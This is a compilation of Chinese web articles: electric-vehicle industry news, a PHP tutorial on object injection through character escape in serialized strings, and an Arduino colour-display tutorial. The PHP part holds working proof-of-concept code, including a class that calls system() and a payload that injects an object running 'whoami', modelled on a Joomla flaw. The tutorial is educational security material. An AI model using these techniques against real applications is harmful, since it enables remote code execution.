中華電、e-moving跨業合作 直營門市推獨家優惠

中華電宣布,公司與電動機車龍頭中華汽車攜手合作推出「e-moving電動機車/自行車」獨家優惠,只要是中華電市內電話或寬頻的客戶,即日起於中華電直營門市即可享有優惠價,並擁有「業界最長-電池保固4年」獨家好禮。

依據環保署統計,台灣是全球機車密度最高的地區,空污問題日趨嚴重,細懸浮微粒(PM2.5)36%來自汽機車廢氣排放,有鑑於此,中華電特別響應政府節能減碳及空污管制政策,攜手中華汽車對抗PM2.5,鼓勵全民騎乘綠色交通工具e-moving,一起為環保種下幸福種籽。

中華電北區分公司總經理鄭閔卿表示,中華汽車的電動車在市場屢創佳績,深獲民眾肯定,這次很榮幸能跨業合作,由中華汽車加碼提供在公司旗下直營門市購買e-moving電動機車的客戶,除原有電池保固3年外,特別再贈送1年優惠。

中華汽車表示,旗下e-moving電動車榮獲國內外優良產品設計獎項(德國iF設計大獎),擁有44項專利,採用重機同級的「自動駐車架」,搭配「自動倒車裝置」功能,其中EM100車系更配備專屬「省力牽車」,提供輕鬆省力的代步功能,是都會女性及上班族的最愛,輕鬆優雅好停車。

中華汽車電動二輪營銷部經理黃奕元表示,電動機車不像汽油機車有複雜的零件,每二千公里只需換齒輪油,大幅節省保養費用,一般機車1元只能跑1.2公里;電動車1元可跑15公里,以每月機車平均行駛500km計算,騎e-moving一年,節能減碳效益相當於種植20顆樹。

中華電表示,在直營門市推出購車服務之後,預期市場上電動車用戶也將大幅增加,而公司亦深感榮幸,能經由本項節能商品銷售來配合政府政策,善盡企業社會責任。

(本文內容由授權提供)

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特斯拉發表 P100D,百公里加速 2.5 秒

電動車廠特斯拉(Tesla)週二發佈新版 Model S 轎車和 Model X 多功能跑車,型號都為P100D,較P90D更為高端。這兩款新車型將配備更加強大的電池組,可令Model S車型成為世界上加速最快的批量生產汽車。  
  Model S P100D和Model X P100D在啟動加速方面和電池續航方面都有了突破性提升。其中Model S P100D配備一個100kWh的電池組,在 Ludicrous (超級加速)模式下從靜止加速至時速60英里僅需2.5秒,相比之下P90D在Ludicrous模式下所需的加速時間為2.8秒。   特斯拉宣稱Model S P100D在啟動加速方面媲美全球頂級超跑,是全球量產型號中加速最快的一個。此外,Model S P100D EPA有效行駛里程為315英里。另一輛Model X P100D車型的車重更大,從靜止加速至時速60英里僅需2.9秒,單次充電續航里程將達289英里,略低於Model S P100D。售價方面,新Model S起始售價將為13.45萬美元,Model X的起始售價將為13.55萬美元。   文章來源: IT之家

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底特律計畫 2019年推兩款全新純電動車型

底特律電動汽車是由位於底特律的Anderson電動汽車公司生產的一款純電動汽車品牌,底特律電動汽車品牌在2008年的時候正式回歸市場。  
  雖然旗下的SP:01車型還沒有真正的上市銷售,但是根據消息稱,該品牌的電動汽車已經計畫在2019年將推出兩款全新的純電動車型。有趣的是,與特斯拉一樣,它推出的首款進軍汽車市場的車型是一款純電動車型;另外,其SP:01也是在Lotus Elise車型的基礎上打造而來的純電動車型。但是底特律電動汽車卻極力與特斯拉劃清界限,聲稱他們並不是步特斯拉的後塵。   在其SP:01車型正式發佈之後,近日底特律電動汽車已經開始投入另外兩款全新的純電動車型的研發工作,一款為SUV車型;一款為轎車車型。但是,他們同特斯拉有著較大的區別。底特律電動汽車聲稱,在其新款電動車型推向市場的同時還將實現年產50000到60000的產量目標。   文章來源:鳳凰汽車

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Gogoro 苗栗門市開幕,全縣市設置服務據點達陣

隨著年底苗栗頭份自強和新竹東勝兩家門市開幕,電動機車大廠 Gogoro 宣告在全國所有縣市都設有服務據點。對做為機車業後起之秀的 Gogoro 而言,也算是達成了一項里程碑。

Gogoro 在 2019 年成功插旗澎湖、苗栗、基隆、東勢、沙鹿、鹿港、草屯、東港、羅東、台東等地,讓每個縣市都至少有一個服務據點。Gogoro 到目前為止設立了 125 個服務據點,雖然還比不上其他機車大廠綿密的服務網絡,但至少不會讓服務據點成為致命傷。2020 年將持續加速拓展服務範圍,預計再設置超過 60 個服務據點,相當於平均每週就設立 1.2 間。拓點計畫將著重於加速設立服務中心,以舒緩各地的車主的維修保養服務需求。

Gogoro 資深行銷總監陳彥揚表示:「隨著不斷增加的 Gogoro 車主數,Gogoro 也加緊腳步規劃通路策略的佈局,於明年大幅拓展服務中心以提供廣大車主完善維修保養服務。另一方面,也積極推動智慧雙輪推廣站,讓傳統車行也有機會加入電動機車推廣行列,更協助 Gogoro 創造與消費者的多元接觸點,提升品牌與產品溝通的廣度。」

除了持續拓展加盟店以外,Gogoro 在 5 月也成立了智慧雙輪推廣站,讓機車行能以更低的門檻有機會銷售電動機車。Gogoro 將提供機車行基礎輔銷物及教育訓練,機車行也無須負擔產品庫存壓力。目前已有近千家機車行表達加入意願,預計將在 2020 年 1 月舉辦對外說明會。

Gogoro 也配合工業局機車行轉型課程,提供專業講師以及課程,讓傳統車行技師學習電動機車維修技術,並在機車行提供簡易維修服務或開立電動機車門市。目前已完成 20 堂課程及協助超過 600 位學員完成訓練,2020 年將持續協助政府開設第二階段轉型課程。

(合作媒體:。首圖來源:Gogoro)

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電動車市場上軌道但電子大廠開始打退堂鼓,Sony 成為唯一逆向

電動車市場逐漸步上正軌,先前許多大動作要進入電動車領域,喊出或暗示要打造電動車的電子大廠卻開始打退堂鼓。在諸多電子大廠的退卻潮下,Sony 千山萬水我獨行,推出 Vision-S 電動概念車,是「人棄我取」的逆行觀念,還是只是「項莊舞劍,意在沛公」?

以蘋果(Apple)來說,先前曾經傳出「泰坦計畫」(Project Titan)要在 2019 年推出自家電動車,2019 年都過去了,卻無消無息,事實上蘋果在幾年前就改換電動車領域的發展方向,雖然蘋果仍不斷在電動車領域申請專利,但是專利大多集中在資訊娛樂系統,以及自動駕駛軟體,而非打造一輛完整的車。

英國吸塵器大廠戴森(Dyson),原本對電動車也有雄圖大略,2015 年購併固態電池新創事業 Sakti3 後,原本有 25 億英鎊的大計畫,包括 2018 年在新加坡建廠,以及打造電動車,到 2019 年 10 月,戴森打了退堂鼓,表示儘管研發極盡努力,卻無法打造出商業可獲利的車款。

蘋果與戴森的退卻,顯示一個基本問題,那就是即使電動車跳過最複雜的內燃機引擎部分,打造汽車仍是相當高技術門檻的事,並非藉由電子方面的專長就能打造電動車。要打造一輛能熬過日曬雨淋下雪,在路上經歷 15 年的車輛,是相當複雜且需要工程技術的任務,汽車大廠數十年來精研於此,就算排除內燃機引擎部分,仍非一朝一夕可超越。

Google 於 2016 年將自駕車部門獨立成為 WaymoWaymo 也放棄自己打造自駕車,2019 年 Waymo 在亞利桑那州開始試營運自駕計程車,不過使用的是第三方車廠的車改造,克萊斯勒(ChryslerPacifica,以及捷豹(JaguarI-Pace,而非自行打造。

自動駕駛的軟硬體技術方面,科技大廠顯然仍興致高昂、摩拳擦掌,但要打造整輛車,這個主意從來都不現實。一開始科技大廠看到電動車能跳脫汽車業最困難尖端的內燃機引擎技術,替代為電子電機大廠熟悉的馬達與鋰電池,見獵心喜,認為這是打入長期由車廠壟斷的市場的良機,但很快就發現,汽車市場早已是割喉戰,要跳進去規模量產汽車,跟著割喉,並不是個好主意。

科技大廠打退堂鼓的根本原因,在於打造整輛車,毛利率遠低於軟體與消費性電子產品,這些原本位於高毛利產業的大廠,稍事研究後,就對進軍「茅山道士」(毛利 3%~4%)產業敬謝不敏,不如安於於當軟體技術與關鍵硬體供應商,因此蘋果樂於打造車用資訊娛樂系統軟體平台,而戴森樂於供應電池,但不想做整輛車。

此外,割喉戰還會越來越嚴重,原本只有特斯拉(Tesla)領頭開拓電動車市場,如今幾乎主要車廠都已經大力投入,而特斯拉本身也已經往平價車款發展,另一方面,中國廠商磨刀霍霍,想在中國低價電池廠的產能撐腰下積極投入,很快電動車市場就會如傳統汽車市場「割喉割到斷」,而且恐怕比過去更激烈。

中國本身 IT 巨頭,也採用投資的方式加入電動車市場,而非自身投入打造電動車,如騰訊投資和諧富騰、阿里巴巴投資小鵬汽車。連中國巨頭企業都迴避這個紅海戰場,那麼也就難怪歐美大廠從本來有興趣,改為退避三舍了。

千山萬水,Sony 獨行?

此股退卻潮中,唯一逆向而行的,大概只有日本電子大廠 Sony。2020 年 CESSony 宣布 Vision-S 概念電動車原型,車內車外內建 33 種不同感測器,車內資訊娛樂系統有好幾個寬螢幕顯示器、360 度環場音效、常時連線(always-on connectivity),其中部分技術來自音響大廠博世(Bosch),以及黑莓(BlackBerry)的行動無線通訊技術。此外,Sony 更打造全新設計的電動車平台,來自加拿大汽車零件供應大廠麥格納(Magna),不僅支援轎車也支援休旅車。

Vision-S 概念電動車相當有未來感,不過產業界對 Vision-S 最想知道的是:Sony 與麥格納,真的打算將這款車規模生產商業上市嗎?還是只是藉此展示車用平台及相關零組件、感測器、軟硬體技術?發表會當天,Sony 電動車發表時間並不長,且還強調 Sony 以影像感測器部門積極投資自動駕駛相關技術,包括強化原本的 CMOS,以及發展光雷達(LIDAR)、飛時測距鏡頭(Time-of-flight camera),以及複合多種感測器強化對環境的辨認能力。

就此看來, Sony 與麥格納仍是定位自身為平台與關鍵零組件供應商,Vision-S 概念電動車較可能只是為了展示所有想推銷給各大車廠的相關技術,而非真要把 Vision-S 掛上 Sony 品牌上市,否則,恐怕先要遭受全球車廠客戶抵制,得不償失。

無論如何,至少 Sony 還敢推出概念電動車原型,成為電子大廠進攻電動車市場的最後勇者,到底是「項莊舞劍,意在沛公」,最後跟其他電子大廠一樣只當車用平台零組件與軟硬體供應商,還是真會自己跳下去製造電動車,就看 Sony 有沒有豪賭的勇氣了。

(合作媒體:。首圖為Vision-S 電動概念車,來源:)

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電動車位會否成為買房新標準配備?建商:不容易

最近在電動車主社群流傳著一句話,「想買電動車,先去當主委」,反映出其實目前住宅大樓要安裝充電設備的難題,也有不少車主分享甘苦談與教戰攻略,幫助其他車友。看準了電動車議題,有些建商已開始提前規劃電動車位,期望以此吸引高消費力客群進住。

想像一下,你終於如願以償住進全新落成的華廈大樓,有漂亮的花園、24 小時警衛與管理、平面式停車位與一應俱全的公共設施,但當你想替電動車充電時,只能排隊去搶地下 1 樓、全社區只有兩支的充電槍。即使想在自己車位安裝充電槍,不僅要說服管委會同意,依據大樓結構,甚至可能要召開全體區權會才能過關。

隨著車廠陸續宣布停止推出新款燃油車,未來 10 年,會有越來越多車主購入電動車,這些人都有在家充電的需求,然而卻很少有建案能解決這個問題,大部分新建案都是依照法規需求,配置最低數量要求的充電車位,甚至是與訪客車位混用。

台北的豪宅指標「帝寶」就曾為了住戶要在地下停車場裝設充電樁,被管委會以「擔心起火」為由拒絕,歷經一番爭論最終才同意放行。正因如此,許多電動車主才會說,要買電動車,先去當主委,有了主委帶頭推動,才比較好說服管委會同意放行施工。

為了爭取安裝充電樁,電動車友分享的招式也是五花八門,甚至出現「暗黑兵法」,向管委會提出「禁止停車場裝設充電設備」,利用這個反向操作讓管委會「不反對」安裝充電樁,而成功闖關。

身為看熱鬧的人,聽了覺得有趣,但電動車主可能笑著笑著就哭了。歷經千辛萬苦爭取後,安裝充電樁的費用說貴不貴,但也不便宜,以一般大樓的電表集中設置在地下 1 樓來算,安裝費用與車位到電表距離成正比,如果車位也在 B1,費用可能在 2 萬元左右,如果車位在 B3,那費用可能就接近 3 萬元。不精準的估算約是每公尺 1,000 元,實際費用要看現場環境決定,安裝費用超過 5 萬元的也不是沒有。

預留管線將成為未來建案標配?

目前有幾家建商已看準這個需求,提出新的解決方案,包括希華、璞園和遠雄等建商,都針對電動車位特別規劃,當作一個科技賣點。

《建築法》修改之前,新建案電動車位的比例要求很低,大部分都只有兩個,而這幾家建商提出優於法規的設計,以遠雄今年即將完工的高雄新灣區建案為例,就規劃了 70 個電動車位,與台電合作,幫這些車位預留充電設備的線路與孔洞,同時也準備了足額的電流負載,屋主只要購買電動車時,讓車廠到現場安裝充電設備即可。

「我們的客戶中,已有 4 台保時捷 Taycan,還有好幾台特斯拉,這些客戶未來就完全不用煩惱充電問題。」遠雄房地產管理處總監呂穎表示,由於這建案是飯店與住宅結合,目前還計劃與車廠合作,在 1 樓或附近建設新的直流充電站,提供住戶與旅客雙重便利。

然而,電動車位對建商來說其實是雙面刃,可吸引高消費力客群入住,但相關電力配套其實不容易達成,「通常重劃區的電力規劃會比較有餘裕,老社區即使蓋新大樓也未必負荷得了,即使如此,假如我們全棟都做成電動車位也一樣受不了,因為尖峰時期的用電量幾乎等於一座大巨蛋。」呂穎笑說,真要這樣的話,隔壁可能要蓋一座變電所,到時候反而沒人要買屋了。

以特斯拉充電樁為例,Model 3 充電時需要的電流量是 32 安培,如果一個社區 500 個車位都在充電,瞬間負載就高達 16,000 安培,相當於整個社區住宅的最大用電量,因此若沒有完整配套,是不可能實現的。

從現實角度來說,短期內一般建案還是會以法規最低要求為標準,以減少成本,只有在高價位豪宅等級建案才有可能看到電動車位成為標配。想在大樓停車場充電的車主,如果沒有入主豪宅的打算,還是先認命與管委會溝通吧!

(合作媒體:。首圖來源:)

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Elon Musk將建10 – 20座Gigafactory

在6月6日舉辦的股東會議上,Tesla創辦人Elon Musk提到將在全球建至少10座到20座超級電池工廠(Gigafactory)以供應市場需求。

過去,Elon Musk曾提到以全球對電動車和儲能電池的需要,需要100座Gigafactory來應付市場需求。外媒指出,Elon Musk這番發言也暗示Tesla未來將佔全球10%的儲能和電動車的產能。

Tesla於美國內華達州的Gigafactory 1目前仍持續建造並且已進行鋰電池生產,Elon Musk於股東會議中提到,當Gigafactory 1產能全開時,其生產的鋰電池數量將會比全球其餘鋰電池工廠生產的總和還要多。

與Panasonic的合作使Tesla在生產池上有極大的優勢,其最終目標是生產先進且低價的鋰電池,同時Tesla視Gigafactory為一個「巨型機器」,會不斷改善和優化。

至於目前未來規劃中的3、4座Gigafactory的廠址還未定案,日前Elon Musk表示,2017年底將宣布它們的落腳處。由於Tesla位於加州費利蒙的工廠生產線已滿載,因此其中一座未來的Gigafactory將會用來生產新型SUV Model Y,其生產線也會於其他Gigafactory不同。

(圖片來源:Tesla Club Belgium via Flickr CC2.0)

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電動車發展 未來10年對銅需求將成長9倍

《MINING.com》6月12日報導,國際銅業協會(International Copper Association)最新報告表示,電動汽車的產業增長,可望令未來十年該產業的銅需求量大幅增長,預估將從2017年的18.5萬噸九倍增長至2027年的174萬噸,主要因為電動汽車較傳統汽車使用更多銅的影響。報告指出,除了價格昂貴的貴金屬之外,銅的導電性居所有金屬之冠,將會在電動汽車產業中扮演重要角色,並且銅也是100%可以回收的材料。

報告指出,傳統汽車生產每輛約會使用到23公斤的銅,但油電混合電動車(HEV)的銅用量就會接近倍增至40公斤,插電式油電混合電動車(PHEV)的銅用量更將達到60公斤,因其電池較傳統的油電混合電動車更大。至於完全由電池驅動的純電動車(BEV),每輛將會用到83公斤的銅。體積更大的油電混合電動巴士銅用量會達到89公斤,而完全由電池驅動的純電動巴士,每輛將會用到224-369公斤的銅,完全取決於其電池的大小。

除了汽車本身以外,包括充電樁等電動車產業的基礎設施也都會用到銅,每個充電樁將會使用到0.7公斤的銅,而如果是具備快速充電功能的充電樁,其銅用量將會達到8公斤。此外,未來如果獨立能源汽車像是太陽能汽車進入市場的話,汽車市場的銅需求量還會增長得更快,因太陽能汽車的太陽能發電系統同樣依賴相當數量的銅來運作。

政府政策將是推動電動車產業發展的一大助力。2016年,大陸電動車的銷量略高於50萬輛,而北京當局已經制定至2020年將達成年銷量200萬輛的目標。印度政府則是宣布,2030年以後,該國所銷售的汽車都必須是電動車。淡水河谷公司(Vale SA)總裁兼執行長費慕禮(Murilo Ferreira)預估,可能在五年之內,七大工業國所生產的汽車就會有一半是電動車。

美國全球投資者公司(US Global Investors)執行長兼投資長霍姆斯(Frank Holmes)此前表示,全球替代能源的爆發增長將會帶動銅的需求。霍姆斯指出,新的發電技術通常較傳統的發電使用更多的銅,如每百萬瓦的風力發電產能就會用到約3.6公噸的銅。此外,混合動力車以及電動車的銅使用量也較傳統汽車高出兩到三倍;平均每輛汽油車所使用的銅線約為55磅,混合動力車則達到110磅,電動車更是高達165磅。

(本文內容由授權使用。圖片出處:public domain CC0)

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PHP字符逃逸導致的對象注入

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

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Arduino驅動ILI9341彩屏(一)——顏色問題

 

最近在淘寶的店鋪上淘到了一塊ILI9341的彩色液晶屏,打算研究一下如何使用。

淘寶店鋪購買屏幕之後有附源代碼可供下載,代碼質量慘不忍睹,各種縮進不規範就不說了,先拿來試一下吧。

這是淘寶店鋪代碼的核心部分:

void setup()
{
  Lcd_Init();
 //LCD_Clear(0xf800);
}

void loop()
{  
   LCD_Clear(0xf800);
   LCD_Clear(0x07E0);
   LCD_Clear(0x001F);
  /*   
  for(int i=0;i<1000;i++)
  {
    Rect(random(300),random(300),random(300),random(300),random(65535)); // rectangle at x, y, with, hight, color
  }*/
  
//  LCD_Clear(0xf800);
}

代碼裏面的setup()和loop()是arduino特有的主函數,和普通C程序的main()函數一樣。

setup()函數在開機時只運行一次,運行完之後就開始循環運行loop()函數。

程序先在setup()函數里做了一下初始化操作Lcd_Init(),接着開始連續用不同顏色清屏。

這裏的LCD_Clear()就是清屏函數了,原型如下:

void LCD_Clear(unsigned int j)                   
{    
  unsigned int i,m;
 Address_set(0,0,240,320);
  //Lcd_Write_Com(0x02c); //write_memory_start
  //digitalWrite(LCD_RS,HIGH);
  digitalWrite(LCD_CS,LOW);


  for(i=0;i<240;i++)
    for(m=0;m<320;m++)
    {
      Lcd_Write_Data(j>>8);
      Lcd_Write_Data(j);

    }
  digitalWrite(LCD_CS,HIGH);   
}

縮進不規範就不吐槽了(;へ:),連變量名都起得亂七八糟,簡直慘不忍睹。稍微重寫了一下函數,長這樣:

void LCD_Clear(unsigned int color){
  Address_set(0,0,240,320);
  digitalWrite(LCD_CS,LOW);
  for(int i=0;i<240;i++){
    for(int m=0;m<320;m++){
      Lcd_Write_Data(color>>8);
      Lcd_Write_Data(color);
    }
  }
  digitalWrite(LCD_CS,HIGH);
}

這個函數先使用Address_set()設置了刷新區域,然後把LCD_CS針腳電壓拉低,之後循環寫入color。

color分兩次寫入,一次寫入高八位(16位整形前面8個bit),一次寫入低八位。

看上去好像沒什麼問題,但loop()函數中LCD_Clear()卻是直接用十六進制寫入的。

寫一個RGB()函數把RGB顏色轉換成十六進制,不是更人性化嗎?

讀了一遍源代碼,結果真的找到了店家的RGB函數:

int RGB(int r,int g,int b)
{return r << 16 | g << 8 | b;
}

還是不規範的縮進(╯︵╰)。但有總比沒有好,輸出紅色試一下:

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(255,0,0));
}

void loop()
{  
   //nothing
}

出故障了。

 

 

 

Arduino重啟后,屏幕輸出了黑色!再試着排除一下故障,把RGB(255,0,0)改成RGB(0,255,0),輸出綠色試試:

 

 

 

 

結果輸出了橙色!

之後我又反覆嘗試了,沒有一次輸出正確的顏色。莫非是這個RGB()函數有問題,淘寶店鋪才用十六進制数字?

再仔細推導了一下:return r << 16 | g << 8 | b;把紅色左移16位,綠色左移8位,藍色不動,所以合成的二進制應該是這樣的:

RRRRRRRRGGGGGGGGBBBBBBBB

R代表紅色位,G代表綠色位,B代表藍色位,每種顏色8位,總共24位。計算了一下可能性:

 

 

 總共1677萬種可能,也就是1677萬種顏色,這就是普通電腦的真彩顏色。但LCD_Clear()函數是這麼寫的:

Lcd_Write_Data(color>>8);
Lcd_Write_Data(color);

總的只能寫入十六個bit,也就是16位,這和24位對不上號啊?

再回頭看了一下,店鋪代碼的setup()函數中有這樣一行白色清屏指令:

//LCD_Clear(0xf800);

0xf800換算成十進制,是63488,有沒有感覺很接近一個數?

沒錯,就是65535,單個16位無符號整數的最大儲存範圍。

16位整型變量,顧名思義就是用16個0和1組成的變量。可以儲存的整數範圍是-32768 ~ 32767,32768 + 32767剛好等於65535,換算到二進制,就是1111111111111111,16個1。

 

這時,真相出現了——這台機器所採用的,是16位顏色,也被成為RGB565顏色模式。

 

早期的16位計算機由於架構的設計,一次只能處理一個16位二進制數。而圖形显示對速度要求特別高,所以一個像素必須要用一個16進制數來表示,也就是16位顏色。

如果用採用24位顏色,就需要兩個16進制數,也就是2Bytes,速度就慢了一半。

而每個像素都是使用紅黃藍三基色來显示的,所以一個16進制數必須分3份,來分別表示紅、黃、藍的數據。

這就出現了一個問題:

16 / 3 = 5.33333

紅黃藍三種顏色平均佔用5.33333個bit。

可bit是計算機存儲的基本單位,要麼是1,要麼是0,不能再分割。必須要有一種顏色多用一個位,才能充分單個利用16進制整數。

人體的綠色視錐細胞比較敏感,正好,那綠色就用6位,紅色藍色就用5位吧。

這就是著名的RGB565模式,總共能存儲65535種顏色。

早期的遊戲都採用這種模式,所以顏色不夠豐富,很有特色:

 

 

 

 這塊ILI9341显示屏模塊(注意不是ILI9341芯片本身)也剛好只有16根數據引腳,所以就採用了這種RGB565的顏色模式。

找到了問題,那就改一下程序吧:

int RGB(int r,int g,int b)
{
  return r << 11 | g << 5 | b;
}

光改RGB()函數還不夠,現在使用了RGB565模式,所以綠色範圍是從0-63,紅色、藍色的範圍是0-31。

所以還得改setup裏面的清屏函數:

void setup()
{
  Lcd_Init();
  LCD_Clear(RGB(0,63,0));
}

重新下載了程序,屏幕成功显示,輸出了正確的綠色!⁄(⁄⁄•⁄ω⁄•⁄⁄)⁄

 

 

 那麼問題來了,開頭店家給的LCD_Clear(0xf800)這條清屏指令,是怎麼來的?畢竟他連RGB565都不知道呢!

這是我提供的一種可能性:

“0xf600試一下?”

“不行,太灰了!”

“那0xf700呢?”

“還是不行!老闆,我們都試了一下午了,肯定是屏幕壞了!”

“加油,還差一點點了,肯定可以的!”

“0xf800好像還行,但是還是有點灰!”

“沒關係,反正買家能點亮屏幕就行,其他的我們不管!”

“……”

所以這家淘寶店鋪根本不知道自己在買什麼。ヽ( ̄▽ ̄)ノ

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